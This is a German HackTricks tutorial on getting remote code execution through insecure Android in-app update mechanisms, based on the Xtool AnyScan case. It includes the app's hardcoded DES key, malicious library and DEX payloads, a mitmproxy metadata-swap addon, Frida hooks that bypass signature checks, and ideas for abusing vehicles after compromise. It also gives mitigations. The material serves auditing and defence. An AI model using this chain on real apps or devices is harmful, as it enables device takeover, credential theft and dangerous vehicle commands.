Unsichere In-App-Update-Mechanismen – Remote Code Execution via Malicious Plugins
Reading time: 10 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Viele Android-Anwendungen implementieren eigene “plugin”- oder “dynamic feature”-Update-Kanäle anstelle des Google Play Store. Ist die Implementierung unsicher, kann ein Angreifer, der den Update-Verkehr abfangen oder manipulieren kann, beliebigen nativen oder Dalvik/ART-Code bereitstellen, der im App-Prozess geladen wird und zu vollständigem Remote Code Execution (RCE) auf dem Gerät führt – und in manchen Fällen auf externen Geräten, die von der App gesteuert werden (Autos, IoT, medizinische Geräte …).
Diese Seite fasst eine reale Vulnerability-Kette zusammen, die in der Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) gefunden wurde, und verallgemeinert die Technik, damit Sie andere Android-Apps auditieren und die Fehlkonfiguration während eines red-team-Einsatzes ausnutzen können.
0. Schnelles Triage: Hat die App einen In‑App-Updater?
Statische Hinweise, nach denen Sie in JADX/apktool suchen sollten:
- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
- Netzwerkendpunkte wie
/update
,/plugins
,/getUpdateList
,/GetUpdateListEx
. - Crypto-Helper in der Nähe von Update-Pfaden (DES/AES/RC4; Base64; JSON/XML packs).
- Dynamische Loader:
System.load
,System.loadLibrary
,dlopen
,DexClassLoader
,PathClassLoader
. - Unzip-Pfade, die in app-internal oder external storage schreiben und anschließend sofort eine
.so
/DEX laden.
Runtime hooks zur Bestätigung:
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});
1. Identifying an Insecure TLS TrustManager
- Die APK mit jadx / apktool dekompilieren und den Networking-Stack (OkHttp, HttpUrlConnection, Retrofit…) lokalisieren.
- Nach einem benutzerdefinierten
TrustManager
oderHostnameVerifier
suchen, der jedem Zertifikat blind vertraut:
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
- Wenn vorhanden akzeptiert die Anwendung jedes TLS certificate → du kannst einen transparenten MITM proxy mit einem self-signed cert betreiben:
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
If TLS pinning is enforced instead of unsafe trust-all logic, see:
Android Anti Instrumentation And Ssl Pinning Bypass
Make APK Accept CA Certificate
2. Reverse-Engineering der Update-Metadaten
Im AnyScan-Fall sendet jeder App-Start einen HTTPS GET an:
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
Der Response-Body ist ein XML-Dokument, in dessen <FileData>
-Knoten Base64-kodiertes, in DES-ECB verschlüsseltes JSON enthalten ist, das jeweils ein verfügbares Plugin beschreibt.
Typical hunting steps:
- Lokalisieren Sie die Krypto-Routine (z. B.
RemoteServiceProxy
) und ermitteln Sie:
- Algorithmus (DES / AES / RC4 …)
- Betriebsmodus (ECB / CBC / GCM …)
- hartkodierter Key / IV (häufig 56‑bit DES oder 128‑bit AES Konstanten)
- Implementieren Sie die Funktion in Python neu, um die Metadaten zu entschlüsseln/verschlüsseln:
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))
def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
Notes seen in the wild (2023–2025):
- Metadaten sind oft JSON-within-XML oder protobuf; schwache Ciphers und statische Schlüssel sind verbreitet.
- Viele Updaters akzeptieren plain HTTP für den eigentlichen Payload-Download, selbst wenn Metadaten über HTTPS kommen.
- Plugins entpacken häufig in app-internen Speicher; einige verwenden noch externen Speicher oder das legacy-Flag
requestLegacyExternalStorage
, wodurch Cross-App-Tampering möglich ist.
3. Ein bösartiges Plugin erstellen
3.1 Pfad zur nativen Bibliothek (dlopen/System.load[Library])
- Wähle ein legitimes Plugin-ZIP und ersetze die native Bibliothek durch deinen Payload:
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
- Aktualisiere die JSON-Metadaten so, dass
"FileName" : "PWNED.zip"
und"DownloadURL"
auf deinen HTTP server zeigen. - Re‑encrypt + Base64‑encode das modifizierte JSON und kopiere es zurück in das abgefangene XML.
3.2 Dex-basierter Plugin-Pfad (DexClassLoader)
Einige Apps laden eine JAR/APK herunter und laden Code via DexClassLoader
. Erstelle ein bösartiges DEX, das beim Laden ausgelöst wird:
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
Wenn das Ziel Class.forName("pwn.Dropper")
aufruft, wird der statische Initializer ausgeführt; andernfalls werden mittels Frida reflectiv die geladenen Klassen aufgezählt und eine exportierte Methode aufgerufen.
4. Den Payload mit mitmproxy ausliefern
addon.py
Beispiel, das stillschweigend die ursprünglichen Metadaten austauscht:
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)
Starte einen einfachen Webserver, um das bösartige ZIP/JAR zu hosten:
python3 -m http.server 8000 --directory ./payloads
When the victim launches the app it will:
- über den MITM-Kanal unser gefälschtes XML abrufen;
- mit der fest im Code verankerten Kryptographie entschlüsseln und parsen;
- die Datei
PWNED.zip
oderplugin.jar
herunterladen → im privaten Speicher entpacken; - die enthaltene
.so
oder DEX laden und unseren Code sofort mit den Rechten der App ausführen (Kamera, GPS, Bluetooth, Dateisystem, …).
Da das Plugin auf der Festplatte zwischengespeichert wird, bleibt die Backdoor über Neustarts erhalten und wird jedes Mal ausgeführt, wenn der Benutzer die entsprechende Funktion auswählt.
4.1 Umgehung von Signature-/Hash-Prüfungen (falls vorhanden)
Wenn der Updater Signaturen oder Hashes validiert, hooke die Überprüfung, sodass Angreifer-Inhalte immer akzeptiert werden:
// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});
Also consider stubbing vendor methods such as PluginVerifier.verifySignature()
, checkHash()
, or short‑circuiting update gating logic in Java or JNI.
5. Andere Angriffsflächen in Update‑Mechanismen (2023–2025)
- Zip Slip path traversal beim Extrahieren von Plugins: bösartige Einträge wie
../../../../data/data/<pkg>/files/target
überschreiben beliebige Dateien. Immer Entry‑Pfade bereinigen und Allow‑Lists verwenden. - External storage staging: wenn die App das Archiv vor dem Laden auf externen Speicher schreibt, kann jede andere App es manipulieren. Scoped Storage oder interner App‑Speicher vermeiden das.
- Cleartext downloads: Metadaten über HTTPS, aber Payload über HTTP → straightforward MITM swap.
- Unvollständige Signaturprüfungen: es wird nur ein einzelner File‑Hash verglichen statt des gesamten Archivs; die Signatur nicht an den Entwickler‑Key gebunden; das Akzeptieren beliebiger RSA‑Keys, die im Archiv vorhanden sind.
- React Native / Web‑basierte OTA‑Inhalte: wenn native Bridges JS aus OTA ausführen ohne strikte Signierung, ist arbitrary code execution im App‑Kontext möglich (z. B. unsichere CodePush‑ähnliche Flows). Sicherstellen, dass Updates detached signiert sind und strikt verifiziert werden.
6. Post-Exploitation‑Ideen
- Session‑Cookies, OAuth‑Tokens oder JWTs stehlen, die von der App gespeichert werden.
- Eine zweite Stufe APK ablegen und sie falls möglich still installieren via
pm install
(einige Apps deklarieren bereitsREQUEST_INSTALL_PACKAGES
). - Jegliche angeschlossene Hardware missbrauchen – im AnyScan‑Szenario kann man beliebige OBD‑II / CAN bus Befehle senden (Türen entriegeln, ABS deaktivieren, etc.).
Erkennungs- & Mitigations-Checkliste (blue team)
- Dynamisches Laden von Code und Out‑of‑Store‑Updates vermeiden. Play‑mediated updates bevorzugen. Wenn dynamische Plugins zwingend erforderlich sind, als data‑only Bundles entwerfen und ausführbaren Code im Base‑APK belassen.
- TLS korrekt durchsetzen: keine custom trust‑all Managers; Pinning dort einsetzen, wo möglich, und eine gehärtete network security config bereitstellen, die Cleartext‑Traffic verbietet.
- Kein ausführbaren Code von außerhalb von Google Play herunterladen. Falls unumgänglich, detached update signing verwenden (z. B. Ed25519/RSA) mit einem vom Entwickler gehaltenen Key und vor dem Laden verifizieren. Metadata und Payload binden (Länge, Hash, Version) und im Fehlerfall schließen.
- Moderne Kryptografie verwenden (AES‑GCM) mit pro‑Nachricht Nonces für Metadaten; hartkodierte Keys aus Clients entfernen.
- Integrität heruntergeladener Archive validieren: eine Signatur verifizieren, die jede Datei abdeckt, oder mindestens ein Manifest von SHA‑256 Hashes prüfen. Zusätzliche/unkannte Dateien ablehnen.
- Downloads im app‑internen Speicher ablegen (oder Scoped Storage auf Android 10+) und Dateiberechtigungen verwenden, die Cross‑App‑Manipulation verhindern.
- Gegen Zip Slip verteidigen: Zip‑Entry‑Pfade normalisieren und validieren vor der Extraktion; absolute Pfade oder
..
‑Segmente ablehnen. - Play “Code Transparency” in Betracht ziehen, damit Sie und Nutzer verifizieren können, dass ausgelieferter DEX/native Code dem Build entspricht (ergänzt, ersetzt aber nicht APK signing).
References
- NowSecure – Remote Code Execution Discovered in Xtool AnyScan App
- Android Developers – Dynamic Code Loading (risks and mitigations)
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.